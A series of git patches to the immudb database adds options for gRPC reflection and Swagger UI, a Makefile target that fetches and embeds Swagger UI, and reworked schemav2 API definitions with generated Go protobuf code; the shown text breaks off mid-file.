MethodName: "DocumentSearch", + Handler: _ImmuService_DocumentSearch_Handler, + }, + { + MethodName: "CollectionCreate", + Handler: _ImmuService_CollectionCreate_Handler, + }, + { + MethodName: "CollectionList", + Handler: _ImmuService_CollectionList_Handler, + }, + { + MethodName: "CollectionDelete", + Handler: _ImmuService_CollectionDelete_Handler, + }, + }, + Streams: []grpc.StreamDesc{}, + Metadata: "schemav2.proto", +} diff --git a/pkg/server/options.go b/pkg/server/options.go index 62376c9e5b..61a7617a8e 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -36,41 +36,44 @@ const DefaultDBName = "defaultdb" // Options server options list type Options struct { - Dir string - Network string - Address string - Port int - Config string - Pidfile string - Logfile string - TLSConfig *tls.Config - auth bool - MaxRecvMsgSize int - NoHistograms bool - Detached bool - MetricsServer bool - MetricsServerPort int - WebServer bool - WebServerPort int - DevMode bool - AdminPassword string `json:"-"` - ForceAdminPassword bool - systemAdminDBName string - defaultDBName string - listener net.Listener - usingCustomListener bool - maintenance bool - SigningKey string - synced bool - RemoteStorageOptions *RemoteStorageOptions - StreamChunkSize int - TokenExpiryTimeMin int - PgsqlServer bool - PgsqlServerPort int - ReplicationOptions *ReplicationOptions - SessionsOptions *sessions.Options - PProf bool - LogFormat string + Dir string + Network string + Address string + Port int + Config string + Pidfile string + Logfile string + TLSConfig *tls.Config + auth bool + MaxRecvMsgSize int + NoHistograms bool + Detached bool + MetricsServer bool + MetricsServerPort int + WebServer bool + WebServerPort int + DevMode bool + AdminPassword string `json:"-"` + ForceAdminPassword bool + systemAdminDBName string + defaultDBName string + listener net.Listener + usingCustomListener bool + maintenance bool + SigningKey string + synced bool + RemoteStorageOptions *RemoteStorageOptions + StreamChunkSize int + TokenExpiryTimeMin int + PgsqlServer bool + PgsqlServerPort int + ReplicationOptions *ReplicationOptions + SessionsOptions *sessions.Options + PProf bool + LogFormat string + ReflectionServerEnabled bool + GatewayServerEnabled bool + SwaggerUIEnabled bool } type RemoteStorageOptions struct { @@ -101,38 +104,41 @@ type ReplicationOptions struct { // DefaultOptions returns default server options func DefaultOptions() *Options { return &Options{ - Dir: "./data", - Network: "tcp", - Address: "0.0.0.0", - Port: 3322, - Config: "configs/immudb.toml", - Pidfile: "", - Logfile: "", - TLSConfig: nil, - auth: true, - MaxRecvMsgSize: 1024 * 1024 * 32, // 32Mb - NoHistograms: false, - Detached: false, - MetricsServer: true, - MetricsServerPort: 9497, - WebServer: true, - WebServerPort: 8080, - DevMode: false, - AdminPassword: auth.SysAdminPassword, - ForceAdminPassword: false, - systemAdminDBName: SystemDBName, - defaultDBName: DefaultDBName, - usingCustomListener: false, - maintenance: false, - synced: true, - RemoteStorageOptions: DefaultRemoteStorageOptions(), - StreamChunkSize: stream.DefaultChunkSize, - TokenExpiryTimeMin: 1440, - PgsqlServer: false, - PgsqlServerPort: 5432, - ReplicationOptions: &ReplicationOptions{IsReplica: false, SyncAcks: 0}, - SessionsOptions: sessions.DefaultOptions(), - PProf: false, + Dir: "./data", + Network: "tcp", + Address: "0.0.0.0", + Port: 3322, + Config: "configs/immudb.toml", + Pidfile: "", + Logfile: "", + TLSConfig: nil, + auth: true, + MaxRecvMsgSize: 1024 * 1024 * 32, // 32Mb + NoHistograms: false, + Detached: false, + MetricsServer: true, + MetricsServerPort: 9497, + WebServer: true, + WebServerPort: 8080, + DevMode: false, + AdminPassword: auth.SysAdminPassword, + ForceAdminPassword: false, + systemAdminDBName: SystemDBName, + defaultDBName: DefaultDBName, + usingCustomListener: false, + maintenance: false, + synced: true, + RemoteStorageOptions: DefaultRemoteStorageOptions(), + StreamChunkSize: stream.DefaultChunkSize, + TokenExpiryTimeMin: 1440, + PgsqlServer: false, + PgsqlServerPort: 5432, + ReplicationOptions: &ReplicationOptions{IsReplica: false, SyncAcks: 0}, + SessionsOptions: sessions.DefaultOptions(), + PProf: false, + GatewayServerEnabled: false, + ReflectionServerEnabled: false, + SwaggerUIEnabled: false, } } @@ -452,6 +458,21 @@ func (o *Options) WithPProf(pprof bool) *Options { return o } +func (o *Options) WithGatewayServerEnabled(enabled bool) *Options { + o.GatewayServerEnabled = enabled + return o +} + +func (o *Options) WithReflectionServerEnabled(enabled bool) *Options { + o.ReflectionServerEnabled = enabled + return o +} + +func (o *Options) WithSwaggerUIEnabled(enabled bool) *Options { + o.SwaggerUIEnabled = enabled + return o +} + // RemoteStorageOptions func (opts *RemoteStorageOptions) WithS3Storage(S3Storage bool) *RemoteStorageOptions { diff --git a/pkg/server/server.go b/pkg/server/server.go index 49bb0faa13..06223360d8 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -57,6 +57,7 @@ import ( "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/credentials" + "google.golang.org/grpc/reflection" "google.golang.org/grpc/status" ) @@ -239,6 +240,9 @@ func (s *ImmuServer) Initialize() error { ) s.GrpcServer = grpc.NewServer(grpcSrvOpts...) + if s.Options.ReflectionServerEnabled { + reflection.Register(s.GrpcServer) + } schema.RegisterImmuServiceServer(s.GrpcServer, s) grpc_prometheus.Register(s.GrpcServer) From 40426563945e9b161412130126ab946420e752fd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Mon, 20 Feb 2023 21:20:00 +0100 Subject: [PATCH 0280/1062] Swagger UI, base path, mock implementation for API routes, changed statik to allow to embed multiple FS, reflection enabled --- .gitignore | 4 + Makefile | 14 +- cmd/immudb/command/init.go | 1 + pkg/api/schemav2/docs.md | 107 ++- pkg/api/schemav2/schemav2.pb.go | 998 +++++++++++++++---------- pkg/api/schemav2/schemav2.pb.gw.go | 255 ++++--- pkg/api/schemav2/schemav2.proto | 103 ++- pkg/api/schemav2/schemav2.swagger.json | 172 +++-- pkg/api/schemav2/schemav2_grpc.pb.go | 182 +++-- pkg/server/objects_operations.go | 39 + pkg/server/server.go | 3 + pkg/server/webserver.go | 18 +- swagger/swagger.go | 26 + swagger/swaggeroverrides.js | 21 + webconsole/statik.go | 16 - webconsole/webconsole.go | 10 +- webconsole/webconsole_default.go | 9 +- 17 files changed, 1264 insertions(+), 714 deletions(-) create mode 100644 pkg/server/objects_operations.go create mode 100644 swagger/swagger.go create mode 100644 swagger/swaggeroverrides.js delete mode 100644 webconsole/statik.go diff --git a/.gitignore b/.gitignore index 6ed96abc21..895bbdef10 100644 --- a/.gitignore +++ b/.gitignore @@ -47,3 +47,7 @@ vendor immudb_pwd token token_admin + +swagger/dist +swagger/swagger +webconsole/webconsole \ No newline at end of file diff --git a/Makefile b/Makefile index 593cb44086..4b08835e33 100644 --- a/Makefile +++ b/Makefile @@ -20,6 +20,8 @@ VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 +SWAGGERUIVERSION=4.15.5 +SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" PWD = $(shell pwd) GO ?= go @@ -45,8 +47,9 @@ V_LDFLAGS_FIPS_BUILD = ${V_LDFLAGS_BUILD} \ -X github.com/codenotary/immudb/cmd/version.FIPSEnabled=true GRPC_GATEWAY_VERSION := $(shell go list -m -versions github.com/grpc-ecosystem/grpc-gateway | awk -F ' ' '{print $$NF}') +IMMUDB_BUILD_TAGS=-tags swagger ifdef WEBCONSOLE -IMMUDB_BUILD_TAGS=-tags webconsole +IMMUDB_BUILD_TAGS=-tags webconsole,swagger endif .PHONY: all @@ -211,6 +214,15 @@ build/codegenv2: --doc_out=pkg/api/schemav2 --doc_opt=markdown,docs.md \ --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc +.PHONY: build/embedswagger +build/embedswagger: + rm -rf swagger/dist/ + curl -L $(SWAGGERUILINK) | tar -xvz -C swagger + mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) + cp pkg/api/schemav2/schemav2.swagger.json swagger/dist/schemav2.swagger.json + cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js + env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger + .PHONY: clean clean: rm -rf immudb immuclient immuadmin immutest ./webconsole/dist diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 604c74d818..669136c646 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -84,6 +84,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Duration("session-timeout", 2*time.Minute, "session timeout is a duration after which an inactive session is forcibly closed by the server") cmd.Flags().Duration("sessions-guard-check-interval", 1*time.Minute, "sessions guard check interval") cmd.Flags().MarkHidden("sessions-guard-check-interval") + cmd.Flags().Bool("reflection", options.ReflectionServerEnabled, "GRPC relection server enabled") flagNameMapping := map[string]string{ "replication-enabled": "replication-is-replica", diff --git a/pkg/api/schemav2/docs.md b/pkg/api/schemav2/docs.md index 597348dcd2..8e1641914c 100644 --- a/pkg/api/schemav2/docs.md +++ b/pkg/api/schemav2/docs.md @@ -8,20 +8,24 @@ - [CollectionCreateRequest.IndexKeysEntry](#immudb.schemav2.CollectionCreateRequest.IndexKeysEntry) - [CollectionCreateRequest.PrimaryKeysEntry](#immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry) - [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) + - [CollectionGetRequest](#immudb.schemav2.CollectionGetRequest) - [CollectionInformation](#immudb.schemav2.CollectionInformation) - [CollectionInformation.IndexKeysEntry](#immudb.schemav2.CollectionInformation.IndexKeysEntry) - [CollectionInformation.PrimaryKeysEntry](#immudb.schemav2.CollectionInformation.PrimaryKeysEntry) - [CollectionListRequest](#immudb.schemav2.CollectionListRequest) - [CollectionListResponse](#immudb.schemav2.CollectionListResponse) - [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) + - [DocumentQuery](#immudb.schemav2.DocumentQuery) - [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) - - [DocumentSearchRequest.QueryEntry](#immudb.schemav2.DocumentSearchRequest.QueryEntry) - [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) - [LoginRequest](#immudb.schemav2.LoginRequest) - - [LoginResponse](#immudb.schemav2.LoginResponse) - - [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) + - [LoginResponseV2](#immudb.schemav2.LoginResponseV2) + - [Proof](#immudb.schemav2.Proof) - - [ImmuService](#immudb.schemav2.ImmuService) + - [PossibleIndexType](#immudb.schemav2.PossibleIndexType) + - [QueryOperator](#immudb.schemav2.QueryOperator) + + - [ImmuServiceV2](#immudb.schemav2.ImmuServiceV2) - [Scalar Value Types](#scalar-value-types) @@ -60,7 +64,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | +| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | @@ -76,7 +80,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | +| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | @@ -98,6 +102,21 @@ + + +### CollectionGetRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | + + + + + + ### CollectionInformation @@ -124,7 +143,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | +| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | @@ -140,7 +159,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | +| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | @@ -188,34 +207,35 @@ - + -### DocumentSearchRequest +### DocumentQuery | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| query | [DocumentSearchRequest.QueryEntry](#immudb.schemav2.DocumentSearchRequest.QueryEntry) | repeated | | -| page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | +| field | [string](#string) | | | +| operator | [QueryOperator](#immudb.schemav2.QueryOperator) | | | +| value | [google.protobuf.Value](#google.protobuf.Value) | | | - + -### DocumentSearchRequest.QueryEntry +### DocumentSearchRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [google.protobuf.Value](#google.protobuf.Value) | | | +| collection | [string](#string) | | | +| query | [DocumentQuery](#immudb.schemav2.DocumentQuery) | repeated | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | @@ -251,40 +271,37 @@ | username | [string](#string) | | | | password | [string](#string) | | | | database | [string](#string) | | | -| writeAccess | [bool](#bool) | | | - + -### LoginResponse +### LoginResponseV2 | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | token | [string](#string) | | | +| expirationTimestamp | [int32](#int32) | | | - + -### PossibleIndexValue +### Proof | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| number_value | [double](#double) | | Represents a double value. | -| string_value | [string](#string) | | Represents a string value. | -| bool_value | [bool](#bool) | | Represents a boolean value. | -| int_value | [int64](#int64) | | Represents a int64 value | +| name | [string](#string) | | | @@ -292,22 +309,52 @@ + + + +### PossibleIndexType + + +| Name | Number | Description | +| ---- | ------ | ----------- | +| DOUBLE | 0 | | +| INTEGER | 1 | | +| STRING | 2 | | + + + + + +### QueryOperator + + +| Name | Number | Description | +| ---- | ------ | ----------- | +| EQ | 0 | | +| GT | 1 | | +| GTE | 2 | | +| LT | 3 | | +| LTE | 4 | | +| LIKE | 5 | | + + - + -### ImmuService +### ImmuServiceV2 | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| Login | [LoginRequest](#immudb.schemav2.LoginRequest) | [LoginResponse](#immudb.schemav2.LoginResponse) | | +| LoginV2 | [LoginRequest](#immudb.schemav2.LoginRequest) | [LoginResponseV2](#immudb.schemav2.LoginResponseV2) | | | DocumentInsert | [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) | [.immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | | DocumentSearch | [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) | | | CollectionCreate | [CollectionCreateRequest](#immudb.schemav2.CollectionCreateRequest) | [CollectionInformation](#immudb.schemav2.CollectionInformation) | | +| CollectionGet | [CollectionGetRequest](#immudb.schemav2.CollectionGetRequest) | [CollectionInformation](#immudb.schemav2.CollectionInformation) | | | CollectionList | [CollectionListRequest](#immudb.schemav2.CollectionListRequest) | [CollectionListResponse](#immudb.schemav2.CollectionListResponse) | | | CollectionDelete | [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | diff --git a/pkg/api/schemav2/schemav2.pb.go b/pkg/api/schemav2/schemav2.pb.go index 85fa911e8b..0f662e0cd3 100644 --- a/pkg/api/schemav2/schemav2.pb.go +++ b/pkg/api/schemav2/schemav2.pb.go @@ -25,6 +25,113 @@ const ( _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) +type QueryOperator int32 + +const ( + QueryOperator_EQ QueryOperator = 0 + QueryOperator_GT QueryOperator = 1 + QueryOperator_GTE QueryOperator = 2 + QueryOperator_LT QueryOperator = 3 + QueryOperator_LTE QueryOperator = 4 + QueryOperator_LIKE QueryOperator = 5 +) + +// Enum value maps for QueryOperator. +var ( + QueryOperator_name = map[int32]string{ + 0: "EQ", + 1: "GT", + 2: "GTE", + 3: "LT", + 4: "LTE", + 5: "LIKE", + } + QueryOperator_value = map[string]int32{ + "EQ": 0, + "GT": 1, + "GTE": 2, + "LT": 3, + "LTE": 4, + "LIKE": 5, + } +) + +func (x QueryOperator) Enum() *QueryOperator { + p := new(QueryOperator) + *p = x + return p +} + +func (x QueryOperator) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (QueryOperator) Descriptor() protoreflect.EnumDescriptor { + return file_schemav2_proto_enumTypes[0].Descriptor() +} + +func (QueryOperator) Type() protoreflect.EnumType { + return &file_schemav2_proto_enumTypes[0] +} + +func (x QueryOperator) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use QueryOperator.Descriptor instead. +func (QueryOperator) EnumDescriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{0} +} + +type PossibleIndexType int32 + +const ( + PossibleIndexType_DOUBLE PossibleIndexType = 0 + PossibleIndexType_INTEGER PossibleIndexType = 1 + PossibleIndexType_STRING PossibleIndexType = 2 +) + +// Enum value maps for PossibleIndexType. +var ( + PossibleIndexType_name = map[int32]string{ + 0: "DOUBLE", + 1: "INTEGER", + 2: "STRING", + } + PossibleIndexType_value = map[string]int32{ + "DOUBLE": 0, + "INTEGER": 1, + "STRING": 2, + } +) + +func (x PossibleIndexType) Enum() *PossibleIndexType { + p := new(PossibleIndexType) + *p = x + return p +} + +func (x PossibleIndexType) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (PossibleIndexType) Descriptor() protoreflect.EnumDescriptor { + return file_schemav2_proto_enumTypes[1].Descriptor() +} + +func (PossibleIndexType) Type() protoreflect.EnumType { + return &file_schemav2_proto_enumTypes[1] +} + +func (x PossibleIndexType) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use PossibleIndexType.Descriptor instead. +func (PossibleIndexType) EnumDescriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{1} +} + type DocumentInsertRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -80,21 +187,84 @@ func (x *DocumentInsertRequest) GetDocument() []*_struct.Struct { return nil } +type DocumentQuery struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.schemav2.QueryOperator" json:"operator,omitempty"` + Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *DocumentQuery) Reset() { + *x = DocumentQuery{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentQuery) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentQuery) ProtoMessage() {} + +func (x *DocumentQuery) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentQuery.ProtoReflect.Descriptor instead. +func (*DocumentQuery) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{1} +} + +func (x *DocumentQuery) GetField() string { + if x != nil { + return x.Field + } + return "" +} + +func (x *DocumentQuery) GetOperator() QueryOperator { + if x != nil { + return x.Operator + } + return QueryOperator_EQ +} + +func (x *DocumentQuery) GetValue() *_struct.Value { + if x != nil { + return x.Value + } + return nil +} + type DocumentSearchRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Query map[string]*_struct.Value `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Query []*DocumentQuery `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty"` + Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` } func (x *DocumentSearchRequest) Reset() { *x = DocumentSearchRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[1] + mi := &file_schemav2_proto_msgTypes[2] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -107,7 +277,7 @@ func (x *DocumentSearchRequest) String() string { func (*DocumentSearchRequest) ProtoMessage() {} func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[1] + mi := &file_schemav2_proto_msgTypes[2] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -120,7 +290,7 @@ func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{1} + return file_schemav2_proto_rawDescGZIP(), []int{2} } func (x *DocumentSearchRequest) GetCollection() string { @@ -130,7 +300,7 @@ func (x *DocumentSearchRequest) GetCollection() string { return "" } -func (x *DocumentSearchRequest) GetQuery() map[string]*_struct.Value { +func (x *DocumentSearchRequest) GetQuery() []*DocumentQuery { if x != nil { return x.Query } @@ -165,7 +335,7 @@ type DocumentSearchResponse struct { func (x *DocumentSearchResponse) Reset() { *x = DocumentSearchResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[2] + mi := &file_schemav2_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -178,7 +348,7 @@ func (x *DocumentSearchResponse) String() string { func (*DocumentSearchResponse) ProtoMessage() {} func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[2] + mi := &file_schemav2_proto_msgTypes[3] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -191,7 +361,7 @@ func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{2} + return file_schemav2_proto_rawDescGZIP(), []int{3} } func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { @@ -227,16 +397,15 @@ type LoginRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` - Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` - Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` - WriteAccess bool `protobuf:"varint,4,opt,name=writeAccess,proto3" json:"writeAccess,omitempty"` + Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` + Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` + Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` } func (x *LoginRequest) Reset() { *x = LoginRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[3] + mi := &file_schemav2_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -249,7 +418,7 @@ func (x *LoginRequest) String() string { func (*LoginRequest) ProtoMessage() {} func (x *LoginRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[3] + mi := &file_schemav2_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -262,7 +431,7 @@ func (x *LoginRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use LoginRequest.ProtoReflect.Descriptor instead. func (*LoginRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{3} + return file_schemav2_proto_rawDescGZIP(), []int{4} } func (x *LoginRequest) GetUsername() string { @@ -286,78 +455,17 @@ func (x *LoginRequest) GetDatabase() string { return "" } -func (x *LoginRequest) GetWriteAccess() bool { - if x != nil { - return x.WriteAccess - } - return false -} - -type LoginResponse struct { +type LoginResponseV2 struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` + Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` + ExpirationTimestamp int32 `protobuf:"varint,2,opt,name=expirationTimestamp,proto3" json:"expirationTimestamp,omitempty"` } -func (x *LoginResponse) Reset() { - *x = LoginResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *LoginResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*LoginResponse) ProtoMessage() {} - -func (x *LoginResponse) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[4] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use LoginResponse.ProtoReflect.Descriptor instead. -func (*LoginResponse) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{4} -} - -func (x *LoginResponse) GetToken() string { - if x != nil { - return x.Token - } - return "" -} - -type PossibleIndexValue struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - // The kind of value. - // - // Types that are assignable to Kind: - // - // *PossibleIndexValue_NumberValue - // *PossibleIndexValue_StringValue - // *PossibleIndexValue_BoolValue - // *PossibleIndexValue_IntValue - Kind isPossibleIndexValue_Kind `protobuf_oneof:"kind"` -} - -func (x *PossibleIndexValue) Reset() { - *x = PossibleIndexValue{} +func (x *LoginResponseV2) Reset() { + *x = LoginResponseV2{} if protoimpl.UnsafeEnabled { mi := &file_schemav2_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -365,13 +473,13 @@ func (x *PossibleIndexValue) Reset() { } } -func (x *PossibleIndexValue) String() string { +func (x *LoginResponseV2) String() string { return protoimpl.X.MessageStringOf(x) } -func (*PossibleIndexValue) ProtoMessage() {} +func (*LoginResponseV2) ProtoMessage() {} -func (x *PossibleIndexValue) ProtoReflect() protoreflect.Message { +func (x *LoginResponseV2) ProtoReflect() protoreflect.Message { mi := &file_schemav2_proto_msgTypes[5] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -383,86 +491,33 @@ func (x *PossibleIndexValue) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use PossibleIndexValue.ProtoReflect.Descriptor instead. -func (*PossibleIndexValue) Descriptor() ([]byte, []int) { +// Deprecated: Use LoginResponseV2.ProtoReflect.Descriptor instead. +func (*LoginResponseV2) Descriptor() ([]byte, []int) { return file_schemav2_proto_rawDescGZIP(), []int{5} } -func (m *PossibleIndexValue) GetKind() isPossibleIndexValue_Kind { - if m != nil { - return m.Kind - } - return nil -} - -func (x *PossibleIndexValue) GetNumberValue() float64 { - if x, ok := x.GetKind().(*PossibleIndexValue_NumberValue); ok { - return x.NumberValue - } - return 0 -} - -func (x *PossibleIndexValue) GetStringValue() string { - if x, ok := x.GetKind().(*PossibleIndexValue_StringValue); ok { - return x.StringValue +func (x *LoginResponseV2) GetToken() string { + if x != nil { + return x.Token } return "" } -func (x *PossibleIndexValue) GetBoolValue() bool { - if x, ok := x.GetKind().(*PossibleIndexValue_BoolValue); ok { - return x.BoolValue - } - return false -} - -func (x *PossibleIndexValue) GetIntValue() int64 { - if x, ok := x.GetKind().(*PossibleIndexValue_IntValue); ok { - return x.IntValue +func (x *LoginResponseV2) GetExpirationTimestamp() int32 { + if x != nil { + return x.ExpirationTimestamp } return 0 } -type isPossibleIndexValue_Kind interface { - isPossibleIndexValue_Kind() -} - -type PossibleIndexValue_NumberValue struct { - // Represents a double value. - NumberValue float64 `protobuf:"fixed64,1,opt,name=number_value,json=numberValue,proto3,oneof"` -} - -type PossibleIndexValue_StringValue struct { - // Represents a string value. - StringValue string `protobuf:"bytes,2,opt,name=string_value,json=stringValue,proto3,oneof"` -} - -type PossibleIndexValue_BoolValue struct { - // Represents a boolean value. - BoolValue bool `protobuf:"varint,3,opt,name=bool_value,json=boolValue,proto3,oneof"` -} - -type PossibleIndexValue_IntValue struct { - // Represents a int64 